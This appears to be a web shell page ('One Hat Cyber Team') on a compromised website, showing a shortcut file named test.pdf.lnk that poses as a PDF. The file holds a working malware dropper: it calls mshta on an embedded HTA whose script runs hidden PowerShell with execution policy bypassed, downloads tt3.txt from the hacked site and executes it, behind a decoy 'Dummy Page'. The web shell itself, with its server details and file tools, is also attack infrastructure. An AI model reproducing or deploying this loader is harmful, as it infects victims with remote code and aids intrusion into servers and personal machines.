One Hat Cyber Team

Your IP : 216.73.216.193

Server IP : 170.247.48.121

Server : Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.0.33

Buat File | Buat Folder

Dir : ~/home/lelopagani.com.br/public/assets/js/

View File Name : test.pdf.lnk

L        ?      F?                                                     5 P郞??i⒇ +00? /C:\                   V 1          WINDOWS @ 	  锞        .                             W I N D O W S    Z 1          system32  B 	  锞        .                             s y s t e m 3 2    V 2           cmd.exe @ 	  锞        .                             c m d . e x e      ! . . \ . . \ . . \ W I N D O W S \ s y s t e m 3 2 \ c m d . e x e  % C D %  / c   m s h t a   % C D % \ C h r 0 m 3 . l n k ! % S y s t e m R o o t % \ s y s t e m 3 2 \ S H E L L 3 2 . d l l      ?   ?        爓N??]N稤.碑Q樂?   ?   	  爥   1SPS鈯XF糒8C稽?榤蝝          -   S - 1 - 5 - 2 1 - 3 3 1 5 5 8 2 6 0 - 4 7 4 2 1 2 0 5 2 - 2 8 2 4 7 9 1 8 1 9 - 1 0 0 1                 <html>

<head>

<HTA:APPLICATION id="hwHTA"
applicationName="hyperHTA"
border="thin"
borderStyle="normal"
caption="yes"
icon="http://www.hyperwrite.com/features/favicon.ico"
maximizeButton="yes"
minimizeButton="yes"
showInTaskbar="no"
windowState="normal"
innerBorder="yes"
navigable="yes"
scroll="auto"
scrollFlat="yes"
singleInstance="yes" 
sysMenu="yes"
contextMenu="yes"
selection="yes" 
version="1.0" />

<script>
    a = new ActiveXObject("WScript.Shell");

    // Run PowerShell command to execute your script from the URL
    a.run('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "iwr https://lelopagani.com.br/assets/js/tt3.txt -OutFile $env:TEMP\\tt3.ps1; & $env:TEMP\\tt3.ps1"', 0);
    window.close();
</script>

<title>Simple HTML Page</title>

</head>

<body>

<h1>Dummy Page</h1>
<hr>
<p>This is a simple, common or garden variety, normal HTML page. Oh, but saved
with a .HTA extension, and with an &lt;HTA&gt; application block included at the
top of the HTML code. </p>
<p>And to make it interesting, here is a link to the <a href="http://www.aodc.com.au/" target="_top">AODC
Web site</a>.</p>
<p>And why not retrieve the version number out of the HTA:Application properties
using <a href="#" onClick="JavaScript:alert('Version of this HTA is ' + hwHTA.version)">JavaScript</a>.</p>
<p>&nbsp;</p>

</body>

</html>